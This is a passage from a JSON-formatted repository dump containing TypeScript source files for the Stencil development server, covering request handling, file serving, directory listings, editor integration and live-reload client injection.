!== 'GET') {\n    return false;\n  }\n\n  const acceptEncoding = req.headers && req.headers['accept-encoding'];\n  if (typeof acceptEncoding !== 'string') {\n    return false;\n  }\n\n  if (!acceptEncoding.includes('gzip')) {\n    return false;\n  }\n\n  return true;\n}\n"
  },
  {
    "path": "src/dev-server/index.ts",
    "content": "import path from 'path';\n\nimport type {\n  BuildOnEventRemove,\n  CompilerBuildResults,\n  CompilerWatcher,\n  DevServer,\n  DevServerConfig,\n  DevServerMessage,\n  InitServerProcess,\n  Logger,\n  StencilDevServerConfig,\n} from '../declarations';\nimport { initServerProcessWorkerProxy } from './server-worker-main';\n\nexport function start(stencilDevServerConfig: StencilDevServerConfig, logger: Logger, watcher?: CompilerWatcher) {\n  return new Promise<DevServer>(async (resolve, reject) => {\n    try {\n      const devServerConfig: DevServerConfig = {\n        devServerDir: __dirname,\n        ...stencilDevServerConfig,\n      };\n\n      if (!path.isAbsolute(devServerConfig.root)) {\n        devServerConfig.root = path.join(process.cwd(), devServerConfig.root);\n      }\n\n      let initServerProcess: InitServerProcess;\n\n      if (stencilDevServerConfig.worker === true || stencilDevServerConfig.worker === undefined) {\n        // fork a worker process\n        initServerProcess = initServerProcessWorkerProxy;\n      } else {\n        // same process\n        const devServerProcess = await import('@dev-server-process');\n        initServerProcess = devServerProcess.initServerProcess;\n      }\n\n      startServer(devServerConfig, logger, watcher, initServerProcess, resolve, reject);\n    } catch (e) {\n      reject(e);\n    }\n  });\n}\n\nfunction startServer(\n  devServerConfig: DevServerConfig,\n  logger: Logger,\n  watcher: CompilerWatcher,\n  initServerProcess: InitServerProcess,\n  resolve: (devServer: DevServer) => void,\n  reject: (err: any) => void,\n) {\n  const timespan = logger.createTimeSpan(`starting dev server`, true);\n\n  const startupTimeout =\n    logger.getLevel() !== 'debug' || devServerConfig.startupTimeout !== 0\n      ? setTimeout(() => {\n          reject(`dev server startup timeout`);\n        }, devServerConfig.startupTimeout ?? 15000)\n      : null;\n\n  let isActivelyBuilding = false;\n  let lastBuildResults: CompilerBuildResults = null;\n  let devServer: DevServer | null = null;\n  let removeWatcher: BuildOnEventRemove = null;\n  let closeResolve: () => void = null;\n  let hasStarted = false;\n  let browserUrl = '';\n\n  let sendToWorker: (msg: DevServerMessage) => void = null;\n\n  const closePromise = new Promise<void>((resolve) => (closeResolve = resolve));\n\n  const close = async () => {\n    clearTimeout(startupTimeout);\n    isActivelyBuilding = false;\n\n    if (removeWatcher) {\n      removeWatcher();\n    }\n    if (devServer) {\n      devServer = null;\n    }\n    if (sendToWorker) {\n      sendToWorker({\n        closeServer: true,\n      });\n      sendToWorker = null;\n    }\n    return closePromise;\n  };\n\n  const emit = async (eventName: any, data: any) => {\n    if (sendToWorker) {\n      if (eventName === 'buildFinish') {\n        isActivelyBuilding = false;\n        lastBuildResults = { ...data };\n        sendToWorker({ buildResults: { ...lastBuildResults }, isActivelyBuilding });\n      } else if (eventName === 'buildLog') {\n        sendToWorker({\n          buildLog: { ...data },\n        });\n      } else if (eventName === 'buildStart') {\n        isActivelyBuilding = true;\n      }\n    }\n  };\n\n  const serverStarted = (msg: DevServerMessage) => {\n    hasStarted = true;\n    clearTimeout(startupTimeout);\n    devServerConfig = msg.serverStarted;\n\n    devServer = {\n      address: devServerConfig.address,\n      basePath: devServerConfig.basePath,\n      browserUrl: devServerConfig.browserUrl,\n      protocol: devServerConfig.protocol,\n      port: devServerConfig.port,\n      root: devServerConfig.root,\n      emit,\n      close,\n    };\n\n    browserUrl = devServerConfig.browserUrl;\n\n    timespan.finish(`dev server started: ${browserUrl}`);\n\n    resolve(devServer);\n  };\n\n  const requestLog = (msg: DevServerMessage) => {\n    if (devServerConfig.logRequests) {\n      if (msg.requestLog.status >= 500) {\n        logger.info(logger.red(`${msg.requestLog.method} ${msg.requestLog.url} (${msg.requestLog.status})`));\n      } else if (msg.requestLog.status >= 400) {\n        logger.info(\n          logger.dim(logger.red(`${msg.requestLog.method} ${msg.requestLog.url} (${msg.requestLog.status})`)),\n        );\n      } else if (msg.requestLog.status >= 300) {\n        logger.info(\n          logger.dim(logger.magenta(`${msg.requestLog.method} ${msg.requestLog.url} (${msg.requestLog.status})`)),\n        );\n      } else {\n        logger.info(logger.dim(`${logger.cyan(msg.requestLog.method)} ${msg.requestLog.url}`));\n      }\n    }\n  };\n\n  const serverError = async (msg: DevServerMessage) => {\n    if (hasStarted) {\n      logger.error(msg.error.message + ' ' + msg.error.stack);\n    } else {\n      await close();\n      reject(msg.error.message);\n    }\n  };\n\n  const requestBuildResults = () => {\n    // we received a request to send up the latest build results\n    if (sendToWorker) {\n      if (lastBuildResults != null) {\n        // we do have build results, so let's send them to the child process\n        const msg: DevServerMessage = {\n          buildResults: { ...lastBuildResults },\n          isActivelyBuilding: isActivelyBuilding,\n        };\n\n        // but don't send any previous live reload data\n        delete msg.buildResults.hmr;\n        sendToWorker(msg);\n      } else {\n        sendToWorker({\n          isActivelyBuilding: true,\n        });\n      }\n    }\n  };\n\n  const compilerRequest = async (compilerRequestPath: string) => {\n    if (watcher && watcher.request && sendToWorker) {\n      const compilerRequestResults = await watcher.request({ path: compilerRequestPath });\n      sendToWorker({ compilerRequestResults });\n    }\n  };\n\n  const receiveFromWorker = (msg: DevServerMessage) => {\n    try {\n      if (msg.serverStarted) {\n        serverStarted(msg);\n      } else if (msg.serverClosed) {\n        logger.debug(`dev server closed: ${browserUrl}`);\n        closeResolve();\n      } else if (msg.requestBuildResults) {\n        requestBuildResults();\n      } else if (msg.compilerRequestPath) {\n        compilerRequest(msg.compilerRequestPath);\n      } else if (msg.requestLog) {\n        requestLog(msg);\n      } else if (msg.error) {\n        serverError(msg);\n      } else {\n        logger.debug(`server msg not handled: ${JSON.stringify(msg)}`);\n      }\n    } catch (e) {\n      logger.error('receiveFromWorker: ' + e);\n    }\n  };\n\n  try {\n    if (watcher) {\n      removeWatcher = watcher.on(emit);\n    }\n\n    sendToWorker = initServerProcess(receiveFromWorker);\n\n    sendToWorker({\n      startServer: devServerConfig,\n    });\n  } catch (e) {\n    close();\n    reject(e);\n  }\n}\n\nexport { DevServer, StencilDevServerConfig as DevServerConfig, Logger };\n"
  },
  {
    "path": "src/dev-server/open-in-browser.ts",
    "content": "import open from 'open';\n\nexport async function openInBrowser(opts: { url: string }) {\n  await open(opts.url);\n}\n"
  },
  {
    "path": "src/dev-server/open-in-editor-api.ts",
    "content": "const openInEditorApi = {\n  // mocked fns so unit tests work too\n  configure(_opts: OpenInEditorOptions, _cb: OpenInEditorCallback): { open(openId: string): Promise<any> } {\n    return null;\n  },\n  editors: {} as OpenInEditorDetections,\n};\n\nexport interface OpenInEditorOptions {\n  editor: string;\n}\n\nexport type OpenInEditorCallback = (err: any) => {};\n\nexport interface OpenInEditorDetections {\n  [key: string]: {\n    detect(): Promise<any>;\n  };\n}\n\nexport default openInEditorApi;\n"
  },
  {
    "path": "src/dev-server/open-in-editor.ts",
    "content": "import type { ServerResponse } from 'http';\n\nimport type * as d from '../declarations';\nimport { responseHeaders } from './dev-server-utils';\nimport openInEditorApi from './open-in-editor-api';\n\nexport async function serveOpenInEditor(serverCtx: d.DevServerContext, req: d.HttpRequest, res: ServerResponse) {\n  let status = 200;\n\n  const data: d.OpenInEditorData = {};\n\n  try {\n    const editors = await getEditors();\n    if (editors.length > 0) {\n      await parseData(editors, serverCtx.sys, req, data);\n      await openDataInEditor(data);\n    } else {\n      data.error = `no editors available`;\n    }\n  } catch (e) {\n    data.error = e + '';\n    status = 500;\n  }\n\n  serverCtx.logRequest(req, status);\n\n  res.writeHead(\n    status,\n    responseHeaders({\n      'content-type': 'application/json; charset=utf-8',\n    }),\n  );\n\n  res.write(JSON.stringify(data, null, 2));\n  res.end();\n}\n\nasync function parseData(\n  editors: d.DevServerEditor[],\n  sys: d.CompilerSystem,\n  req: d.HttpRequest,\n  data: d.OpenInEditorData,\n) {\n  const qs = req.searchParams;\n\n  if (!qs.has('file')) {\n    data.error = `missing file`;\n    return;\n  }\n\n  data.file = qs.get('file');\n\n  if (qs.has('line') && !isNaN(qs.get('line') as any)) {\n    data.line = parseInt(qs.get('line'), 10);\n  }\n  if (typeof data.line !== 'number' || data.line < 1) {\n    data.line = 1;\n  }\n\n  if (qs.has('column') && !isNaN(qs.get('column') as any)) {\n    data.column = parseInt(qs.get('column'), 10);\n  }\n  if (typeof data.column !== 'number' || data.column < 1) {\n    data.column = 1;\n  }\n\n  let editor = qs.get('editor');\n  if (typeof editor === 'string') {\n    editor = editor.trim().toLowerCase();\n    if (editors.some((e) => e.id === editor)) {\n      data.editor = editor;\n    } else {\n      data.error = `invalid editor: ${editor}`;\n      return;\n    }\n  } else {\n    data.editor = editors[0].id;\n  }\n\n  const stat = await sys.stat(data.file);\n  data.exists = stat.isFile;\n}\n\nasync function openDataInEditor(data: d.OpenInEditorData) {\n  if (!data.exists || data.error) {\n    return;\n  }\n\n  try {\n    const opts = {\n      editor: data.editor,\n    };\n\n    const editor = openInEditorApi.configure(opts, (err) => (data.error = err + ''));\n\n    if (data.error) {\n      return;\n    }\n\n    data.open = `${data.file}:${data.line}:${data.column}`;\n\n    await editor.open(data.open);\n  } catch (e) {\n    data.error = e + '';\n  }\n}\n\nlet editors: Promise<d.DevServerEditor[]> = null;\n\nexport function getEditors() {\n  if (!editors) {\n    editors = new Promise(async (resolve) => {\n      const editors: d.DevServerEditor[] = [];\n\n      try {\n        await Promise.all(\n          Object.keys(openInEditorApi.editors).map(async (editorId) => {\n            const isSupported = await isEditorSupported(editorId);\n\n            editors.push({\n              id: editorId,\n              priority: EDITOR_PRIORITY[editorId],\n              supported: isSupported,\n            });\n          }),\n        );\n      } catch (e) {}\n\n      resolve(\n        editors\n          .filter((e) => e.supported)\n          .sort((a, b) => {\n            if (a.priority < b.priority) return -1;\n            if (a.priority > b.priority) return 1;\n            return 0;\n          })\n          .map((e) => {\n            return {\n              id: e.id,\n              name: EDITORS[e.id],\n            } as d.DevServerEditor;\n          }),\n      );\n    });\n  }\n\n  return editors;\n}\n\nasync function isEditorSupported(editorId: string) {\n  let isSupported = false;\n\n  try {\n    await openInEditorApi.editors[editorId].detect();\n    isSupported = true;\n  } catch (e) {}\n\n  return isSupported;\n}\n\nconst EDITORS: { [editor: string]: string } = {\n  atom: 'Atom',\n  code: 'Code',\n  emacs: 'Emacs',\n  idea14ce: 'IDEA 14 Community Edition',\n  phpstorm: 'PhpStorm',\n  sublime: 'Sublime',\n  webstorm: 'WebStorm',\n  vim: 'Vim',\n  visualstudio: 'Visual Studio',\n};\n\nconst EDITOR_PRIORITY: { [editor: string]: number } = {\n  code: 1,\n  atom: 2,\n  sublime: 3,\n  visualstudio: 4,\n  idea14ce: 5,\n  webstorm: 6,\n  phpstorm: 7,\n  vim: 8,\n  emacs: 9,\n};\n"
  },
  {
    "path": "src/dev-server/request-handler.ts",
    "content": "import { normalizePath } from '@utils';\nimport type { IncomingMessage, ServerResponse } from 'http';\nimport path from 'path';\n\nimport type * as d from '../declarations';\nimport { isDevClient, isDevModule, isExtensionLessPath, isSsrStaticDataPath } from './dev-server-utils';\nimport { serveDevClient } from './serve-dev-client';\nimport { serveDevNodeModule } from './serve-dev-node-module';\nimport { serveDirectoryIndex } from './serve-directory-index';\nimport { serveFile } from './serve-file';\nimport { ssrPageRequest, ssrStaticDataRequest } from './ssr-request';\n\nexport function createRequestHandler(devServerConfig: d.DevServerConfig, serverCtx: d.DevServerContext) {\n  let userRequestHandler: (req: IncomingMessage, res: ServerResponse, next: () => void) => void = null;\n\n  if (typeof devServerConfig.requestListenerPath === 'string') {\n    userRequestHandler = require(devServerConfig.requestListenerPath);\n  }\n\n  return async function (incomingReq: IncomingMessage, res: ServerResponse) {\n    async function defaultHandler() {\n      try {\n        /**\n         * normalize the request path and ensures it's within the root directory of the project\n         */\n        const req = normalizeHttpRequest(devServerConfig, incomingReq);\n\n        if (!req.url) {\n          return serverCtx.serve302(req, res);\n        }\n\n        if (devServerConfig.pingRoute !== null && req.pathname === devServerConfig.pingRoute) {\n          return serverCtx\n            .getBuildResults()\n            .then((result) => {\n              if (!result.hasSuccessfulBuild) {\n                return serverCtx.serve500(incomingReq, res, 'Build not successful', 'build error');\n              }\n\n              res.writeHead(200, 'OK');\n              res.write('OK');\n              res.end();\n            })\n            .catch(() => serverCtx.serve500(incomingReq, res, 'Error getting build results', 'ping error'));\n        }\n\n        if (isDevClient(req.pathname) && devServerConfig.websocket) {\n          return serveDevClient(devServerConfig, serverCtx, req, res);\n        }\n\n        if (isDevModule(req.pathname)) {\n          return serveDevNodeModule(serverCtx, req, res);\n        }\n\n        if (!isValidUrlBasePath(devServerConfig.basePath, req.url)) {\n          return serverCtx.serve404(\n            req,\n            res,\n            `invalid basePath`,\n            `404 File Not Found, base path: ${devServerConfig.basePath}`,\n          );\n        }\n\n        if (devServerConfig.ssr) {\n          if (isExtensionLessPath(req.url.pathname)) {\n            return ssrPageRequest(devServerConfig, serverCtx, req, res);\n          }\n          if (isSsrStaticDataPath(req.url.pathname)) {\n            return ssrStaticDataRequest(devServerConfig, serverCtx, req, res);\n          }\n        }\n\n        req.stats = await serverCtx.sys.stat(req.filePath);\n        if (req.stats.isFile) {\n          return serveFile(devServerConfig, serverCtx, req, res);\n        }\n\n        if (req.stats.isDirectory) {\n          return serveDirectoryIndex(devServerConfig, serverCtx, req, res);\n        }\n\n        const xSource = ['notfound'];\n        const validHistoryApi = isValidHistoryApi(devServerConfig, req);\n        xSource.push(`validHistoryApi: ${validHistoryApi}`);\n\n        if (validHistoryApi) {\n          try {\n            const indexFilePath = path.join(devServerConfig.root, devServerConfig.historyApiFallback.index);\n            xSource.push(`indexFilePath: ${indexFilePath}`);\n\n            req.stats = await serverCtx.sys.stat(indexFilePath);\n            if (req.stats.isFile) {\n              req.filePath = indexFilePath;\n              return serveFile(devServerConfig, serverCtx, req, res);\n            }\n          } catch (e) {\n            xSource.push(`notfound error: ${e}`);\n          }\n        }\n\n        return serverCtx.serve404(req, res, xSource.join(', '));\n      } catch (e) {\n        return serverCtx.serve500(incomingReq, res, e, `not found error`);\n      }\n    }\n\n    if (typeof userRequestHandler === 'function') {\n      await userRequestHandler(incomingReq, res, defaultHandler);\n    } else {\n      await defaultHandler();\n    }\n  };\n}\n\nexport function isValidUrlBasePath(basePath: string, url: URL) {\n  // normalize the paths to always end with a slash for the check\n  let pathname = url.pathname;\n  if (!pathname.endsWith('/')) {\n    pathname += '/';\n  }\n  if (!basePath.endsWith('/')) {\n    basePath += '/';\n  }\n  return pathname.startsWith(basePath);\n}\n\nfunction normalizeHttpRequest(devServerConfig: d.DevServerConfig, incomingReq: IncomingMessage) {\n  const req: d.HttpRequest = {\n    method: (incomingReq.method || 'GET').toUpperCase() as any,\n    headers: incomingReq.headers as any,\n    acceptHeader:\n      (incomingReq.headers && typeof incomingReq.headers.accept === 'string' && incomingReq.headers.accept) || '',\n    host: (incomingReq.headers && typeof incomingReq.headers.host === 'string' && incomingReq.headers.host) || null,\n    url: null,\n    searchParams: null,\n  };\n\n  const incomingUrl = (incomingReq.url || '').trim() || null;\n  if (incomingUrl) {\n    if (req.host) {\n      req.url = new URL(incomingReq.url, `http://${req.host}`);\n    } else {\n      req.url = new URL(incomingReq.url, `http://dev.stenciljs.com`);\n    }\n    req.searchParams = req.url.searchParams;\n  }\n\n  if (req.url) {\n    const parts = req.url.pathname.replace(/\\\\/g, '/').split('/');\n\n    req.pathname = parts.map((part) => decodeURIComponent(part)).join('/');\n    if (req.pathname.length > 0 && !isDevClient(req.pathname)) {\n      req.pathname = '/' + req.pathname.substring(devServerConfig.basePath.length);\n    }\n\n    req.filePath = normalizePath(path.normalize(path.join(devServerConfig.root, path.relative('/', req.pathname))));\n  }\n\n  return req;\n}\n\nexport function isValidHistoryApi(devServerConfig: d.DevServerConfig, req: d.HttpRequest) {\n  if (!devServerConfig.historyApiFallback) {\n    return false;\n  }\n  if (req.method !== 'GET') {\n    return false;\n  }\n  if (!req.acceptHeader.includes('text/html')) {\n    return false;\n  }\n  if (!devServerConfig.historyApiFallback.disableDotRule && req.pathname.includes('.')) {\n    return false;\n  }\n  return true;\n}\n"
  },
  {
    "path": "src/dev-server/serve-dev-client.ts",
    "content": "import type { ServerResponse } from 'http';\nimport path from 'path';\n\nimport type * as d from '../declarations';\nimport { DEV_SERVER_URL } from './dev-server-constants';\nimport { isDevServerClient, isInitialDevServerLoad, isOpenInEditor, responseHeaders } from './dev-server-utils';\nimport { getEditors, serveOpenInEditor } from './open-in-editor';\nimport { serveFile } from './serve-file';\n\nexport async function serveDevClient(\n  devServerConfig: d.DevServerConfig,\n  serverCtx: d.DevServerContext,\n  req: d.HttpRequest,\n  res: ServerResponse,\n) {\n  try {\n    if (isOpenInEditor(req.pathname)) {\n      return serveOpenInEditor(serverCtx, req, res);\n    }\n\n    if (isDevServerClient(req.pathname)) {\n      return serveDevClientScript(devServerConfig, serverCtx, req, res);\n    }\n\n    if (isInitialDevServerLoad(req.pathname)) {\n      req.filePath = path.join(devServerConfig.devServerDir, 'templates', 'initial-load.html');\n    } else {\n      const staticFile = req.pathname.replace(DEV_SERVER_URL + '/', '');\n      req.filePath = path.join(devServerConfig.devServerDir, 'static', staticFile);\n    }\n\n    try {\n      req.stats = await serverCtx.sys.stat(req.filePath);\n      if (req.stats.isFile) {\n        return serveFile(devServerConfig, serverCtx, req, res);\n      }\n      return serverCtx.serve404(req, res, 'serveDevClient not file');\n    } catch (e) {\n      return serverCtx.serve404(req, res, `serveDevClient stats error ${e}`);\n    }\n  } catch (e) {\n    return serverCtx.serve500(req, res, e, 'serveDevClient');\n  }\n}\n\nasync function serveDevClientScript(\n  devServerConfig: d.DevServerConfig,\n  serverCtx: d.DevServerContext,\n  req: d.HttpRequest,\n  res: ServerResponse,\n) {\n  try {\n    if (serverCtx.connectorHtml == null) {\n      const filePath = path.join(devServerConfig.devServerDir, 'connector.html');\n\n      serverCtx.connectorHtml = serverCtx.sys.readFileSync(filePath, 'utf8');\n      if (typeof serverCtx.connectorHtml !== 'string') {\n        return serverCtx.serve404(req, res, `serveDevClientScript`);\n      }\n\n      const devClientConfig: d.DevClientConfig = {\n        basePath: devServerConfig.basePath,\n        editors: await getEditors(),\n        reloadStrategy: devServerConfig.reloadStrategy,\n      };\n\n      serverCtx.connectorHtml = serverCtx.connectorHtml.replace(\n        'window.__DEV_CLIENT_CONFIG__',\n        JSON.stringify(devClientConfig),\n      );\n    }\n\n    res.writeHead(\n      200,\n      responseHeaders({\n        'content-type': 'text/html; charset=utf-8',\n      }),\n    );\n    res.write(serverCtx.connectorHtml);\n    res.end();\n  } catch (e) {\n    return serverCtx.serve500(req, res, e, `serveDevClientScript`);\n  }\n}\n"
  },
  {
    "path": "src/dev-server/serve-dev-node-module.ts",
    "content": "import type { ServerResponse } from 'http';\n\nimport type * as d from '../declarations';\nimport { responseHeaders } from './dev-server-utils';\n\nexport async function serveDevNodeModule(serverCtx: d.DevServerContext, req: d.HttpRequest, res: ServerResponse) {\n  try {\n    const results = await serverCtx.getCompilerRequest(req.pathname);\n\n    const headers = {\n      'content-type': 'application/javascript; charset=utf-8',\n      'content-length': Buffer.byteLength(results.content, 'utf8'),\n      'x-dev-node-module-id': results.nodeModuleId,\n      'x-dev-node-module-version': results.nodeModuleVersion,\n      'x-dev-node-module-resolved-path': results.nodeResolvedPath,\n      'x-dev-node-module-cache-path': results.cachePath,\n      'x-dev-node-module-cache-hit': results.cacheHit,\n    };\n\n    res.writeHead(results.status, responseHeaders(headers));\n    res.write(results.content);\n    res.end();\n  } catch (e) {\n    serverCtx.serve500(req, res, e, `serveDevNodeModule`);\n  }\n}\n"
  },
  {
    "path": "src/dev-server/serve-directory-index.ts",
    "content": "import type { ServerResponse } from 'http';\nimport path from 'path';\n\nimport type * as d from '../declarations';\nimport { responseHeaders } from './dev-server-utils';\nimport { serveFile } from './serve-file';\n\nexport async function serveDirectoryIndex(\n  devServerConfig: d.DevServerConfig,\n  serverCtx: d.DevServerContext,\n  req: d.HttpRequest,\n  res: ServerResponse,\n) {\n  const indexFilePath = path.join(req.filePath, 'index.html');\n  req.stats = await serverCtx.sys.stat(indexFilePath);\n  if (req.stats.isFile) {\n    req.filePath = indexFilePath;\n    return serveFile(devServerConfig, serverCtx, req, res);\n  }\n\n  if (!req.pathname.endsWith('/')) {\n    return serverCtx.serve302(req, res, req.pathname + '/');\n  }\n\n  try {\n    const dirFilePaths = await serverCtx.sys.readDir(req.filePath);\n\n    try {\n      if (serverCtx.dirTemplate == null) {\n        const dirTemplatePath = path.join(devServerConfig.devServerDir, 'templates', 'directory-index.html');\n        serverCtx.dirTemplate = serverCtx.sys.readFileSync(dirTemplatePath);\n      }\n      const files = await getFiles(serverCtx.sys, req.url, dirFilePaths);\n\n      const templateHtml = serverCtx.dirTemplate\n        .replace('{{title}}', getTitle(req.pathname))\n        .replace('{{nav}}', getName(req.pathname))\n        .replace('{{files}}', files);\n\n      serverCtx.logRequest(req, 200);\n\n      res.writeHead(\n        200,\n        responseHeaders({\n          'content-type': 'text/html; charset=utf-8',\n          'x-directory-index': req.pathname,\n        }),\n      );\n\n      res.write(templateHtml);\n      res.end();\n    } catch (e) {\n      return serverCtx.serve500(req, res, e, 'serveDirectoryIndex');\n    }\n  } catch (e) {\n    return serverCtx.serve404(req, res, 'serveDirectoryIndex');\n  }\n}\n\nasync function getFiles(sys: d.CompilerSystem, baseUrl: URL, dirItemNames: string[]) {\n  const items = await getDirectoryItems(sys, baseUrl, dirItemNames);\n\n  if (baseUrl.pathname !== '/') {\n    items.unshift({\n      isDirectory: true,\n      pathname: '../',\n      name: '..',\n    });\n  }\n\n  return items\n    .map((item) => {\n      return `\n        <li class=\"${item.isDirectory ? 'directory' : 'file'}\">\n          <a href=\"${item.pathname}\">\n            <span class=\"icon\"></span>\n            <span>${item.name}</span>\n          </a>\n        </li>`;\n    })\n    .join('');\n}\n\nasync function getDirectoryItems(sys: d.CompilerSystem, baseUrl: URL, dirFilePaths: string[]) {\n  const items = await Promise.all(\n    dirFilePaths.map(async (dirFilePath) => {\n      const fileName = path.basename(dirFilePath);\n      const url = new URL(fileName, baseUrl);\n      const stats = await sys.stat(dirFilePath);\n\n      const item: DirectoryItem = {\n        name: fileName,\n        pathname: url.pathname,\n        isDirectory: stats.isDirectory,\n      };\n\n      return item;\n    }),\n  );\n  return items;\n}\n\nfunction getTitle(pathName: string) {\n  return pathName;\n}\n\nfunction getName(pathName: string) {\n  const dirs = pathName.split('/');\n  dirs.pop();\n\n  let url = '';\n\n  return (\n    dirs\n      .map((dir, index) => {\n        url += dir + '/';\n        const text = index === 0 ? `~` : dir;\n\n        return `<a href=\"${url}\">${text}</a>`;\n      })\n      .join('<span>/</span>') + '<span>/</span>'\n  );\n}\n\ninterface DirectoryItem {\n  name: string;\n  pathname: string;\n  isDirectory: boolean;\n}\n"
  },
  {
    "path": "src/dev-server/serve-file.ts",
    "content": "import { Buffer } from 'buffer';\nimport fs from 'graceful-fs';\nimport type { ServerResponse } from 'http';\nimport path from 'path';\nimport * as zlib from 'zlib';\n\nimport type * as d from '../declarations';\nimport { version } from '../version';\nimport * as util from './dev-server-utils';\n\nexport async function serveFile(\n  devServerConfig: d.DevServerConfig,\n  serverCtx: d.DevServerContext,\n  req: d.HttpRequest,\n  res: ServerResponse,\n) {\n  try {\n    if (util.isSimpleText(req.filePath)) {\n      // easy text file, use the internal cache\n      let content = await serverCtx.sys.readFile(req.filePath, 'utf8');\n\n      if (devServerConfig.websocket && util.isHtmlFile(req.filePath) && !util.isDevServerClient(req.pathname)) {\n        // auto inject our dev server script\n        content = appendDevServerClientScript(devServerConfig, req, content);\n      } else if (util.isCssFile(req.filePath)) {\n        content = updateStyleUrls(req.url, content);\n      }\n\n      if (util.shouldCompress(devServerConfig, req)) {\n        // let's gzip this well known web dev text file\n        res.writeHead(\n          200,\n          util.responseHeaders({\n            'content-type': util.getContentType(req.filePath) + '; charset=utf-8',\n            'content-encoding': 'gzip',\n            vary: 'Accept-Encoding',\n          }),\n        );\n\n        zlib.gzip(content, { level: 9 }, (_, data) => {\n          res.end(data);\n        });\n      } else {\n        // let's not gzip this file\n        res.writeHead(\n          200,\n          util.responseHeaders({\n            'content-type': util.getContentType(req.filePath) + '; charset=utf-8',\n            'content-length': Buffer.byteLength(content, 'utf8'),\n          }),\n        );\n        res.write(content);\n        res.end();\n      }\n    } else {\n      // non-well-known text file or other file, probably best we use a stream\n      // but don't bother trying to gzip this file for the dev server\n      res.writeHead(\n        200,\n        util.responseHeaders({\n          'content-type': util.getContentType(req.filePath),\n          'content-length': req.stats.size,\n        }),\n      );\n      fs.createReadStream(req.filePath).pipe(res);\n    }\n\n    serverCtx.logRequest(req, 200);\n  } catch (e) {\n    serverCtx.serve500(req, res, e, 'serveFile');\n  }\n}\n\nfunction updateStyleUrls(url: URL, oldCss: string) {\n  const versionId = url.searchParams.get('s-hmr');\n  const hmrUrls = url.searchParams.get('s-hmr-urls');\n\n  if (versionId && hmrUrls) {\n    (hmrUrls as string).split(',').forEach((hmrUrl) => {\n      urlVersionIds.set(hmrUrl, versionId as string);\n    });\n  }\n\n  const reg = /url\\((['\"]?)(.*)\\1\\)/gi;\n  let result;\n  let newCss = oldCss;\n\n  while ((result = reg.exec(oldCss)) !== null) {\n    const oldUrl = result[2];\n\n    const parsedUrl = new URL(oldUrl, url);\n\n    const fileName = path.basename(parsedUrl.pathname);\n    const versionId = urlVersionIds.get(fileName);\n    if (!versionId) {\n      continue;\n    }\n\n    parsedUrl.searchParams.set('s-hmr', versionId);\n\n    newCss = newCss.replace(oldUrl, parsedUrl.pathname);\n  }\n\n  return newCss;\n}\n\nconst urlVersionIds = new Map<string, string>();\n\nexport function appendDevServerClientScript(devServerConfig: d.DevServerConfig, req: d.HttpRequest, content: string) {\n  const devServerClientUrl = util.getDevServerClientUrl(\n    devServerConfig,\n    req.headers?.['x-forwarded-host'] ?? req.host,\n    req.headers?.['x-forwarded-proto'],\n  );\n  const iframe = `<iframe title=\"Stencil Dev Server Connector ${version} &#9889;\" src=\"${devServerClientUrl}\" style=\"display:block;width:0;height:0;border:0;visibility:hidden\" aria-hidden=\"true\"></iframe>`;\n  return appendDevServerClientIframe(content, iframe);\n}\n\nexport function appendDevServerClientIframe(content: string, iframe: string) {\n  if (content.includes('</body>')) {\n    return content.replace('</body>', `${iframe}</body>`);\n  }\n  if (content.includes('</html>')) {\n    return content.replace('</html>', `${iframe}</html>`);\n  }\n  return `${content}${iframe}`;\n}\n"
  },
  {
    "path": "src/dev-server/server-context.ts",
    "content": "import fs from 'graceful-fs';\nimport path from 'path';\nimport util from 'util';\n\nimport type * as d from '../declarations';\nimport { responseHeaders } from './dev-server-utils';\n\nexport function createServerContext(\n  sys: d.CompilerSystem,\n  sendMsg: d.DevServerSendMessage,\n  devServerConfig: d.DevServerConfig,\n  buildResultsResolves: BuildRequestResolve[],\n  compilerRequestResolves: CompilerRequestResolve[],\n) {\n  const logRequest = (req: d.HttpRequest, status: number) => {\n    if (devServerConfig) {\n      sendMsg({\n        requestLog: {\n          method: req.method || '?',\n          url: req.pathname || '?',\n          status,\n        },\n      });\n    }\n  };\n\n  const serve500 = (req: d.HttpRequest, res: any, error: any, xSource: string) => {\n    try {\n      res.writeHead(\n        500,\n        responseHeaders({\n          'content-type': 'text/plain; charset=utf-8',\n          'x-source': xSource,\n        }),\n      );\n      res.write(util.inspect(error));\n      res.end();\n      logRequest(req, 500);\n    } catch (e) {\n      sendMsg({ error: { message: 'serve500: ' + e } });\n    }\n  };\n\n  const serve404 = (req: d.HttpRequest, res: any, xSource: string, content: string = null) => {\n    try {\n      if (req.pathname === '/favicon.ico') {\n        const defaultFavicon = path.join(devServerConfig.devServerDir, 'static', 'favicon.ico');\n        res.writeHead(\n          200,\n          responseHeaders({\n            'content-type': 'image/x-icon',\n            'x-source': `favicon: ${xSource}`,\n          }),\n        );\n        const rs = fs.createReadStream(defaultFavicon);\n        rs.on('error', (err) => {\n          res.writeHead(\n            404,\n            responseHeaders({\n              'content-type': 'text/plain; charset=utf-8',\n              'x-source': `createReadStream error: ${err}, ${xSource}`,\n            }),\n          );\n          res.write(util.inspect(err));\n          res.end();\n        });\n        rs.pipe(res);\n        return;\n      }\n\n      if (content == null) {\n        content = ['404 File Not Found', 'Url: ' + req.pathname, 'File: ' + req.filePath].join('\\n');\n      }\n      res.writeHead(\n        404,\n        responseHeaders({\n          'content-type': 'text/plain; charset=utf-8',\n          'x-source': xSource,\n        }),\n      );\n      res.write(content);\n      res.end();\n\n      logRequest(req, 400);\n    } catch (e) {\n      serve500(req, res, e, xSource);\n    }\n  };\n\n  const serve302 = (req: d.HttpRequest, res: any, pathname: string = null) => {\n    logRequest(req, 302);\n    res.writeHead(302, { location: pathname || devServerConfig.basePath || '/' });\n    res.end();\n  };\n\n  const getBuildResults = () =>\n    new Promise<d.CompilerBuildResults>((resolve, reject) => {\n      if (serverCtx.isServerListening) {\n        buildResultsResolves.push({ resolve, reject });\n        sendMsg({ requestBuildResults: true });\n      } else {\n        reject('dev server closed');\n      }\n    });\n\n  const getCompilerRequest = (compilerRequestPath: string) =>\n    new Promise<d.CompilerRequestResponse>((resolve, reject) => {\n      if (serverCtx.isServerListening) {\n        compilerRequestResolves.push({\n          path: compilerRequestPath,\n          resolve,\n          reject,\n        });\n        sendMsg({ compilerRequestPath });\n      } else {\n        reject('dev server closed');\n      }\n    });\n\n  const serverCtx: d.DevServerContext = {\n    connectorHtml: null,\n    dirTemplate: null,\n    getBuildResults,\n    getCompilerRequest,\n    isServerListening: false,\n    logRequest,\n    prerenderConfig: null,\n    serve302,\n    serve404,\n    serve500,\n    sys,\n  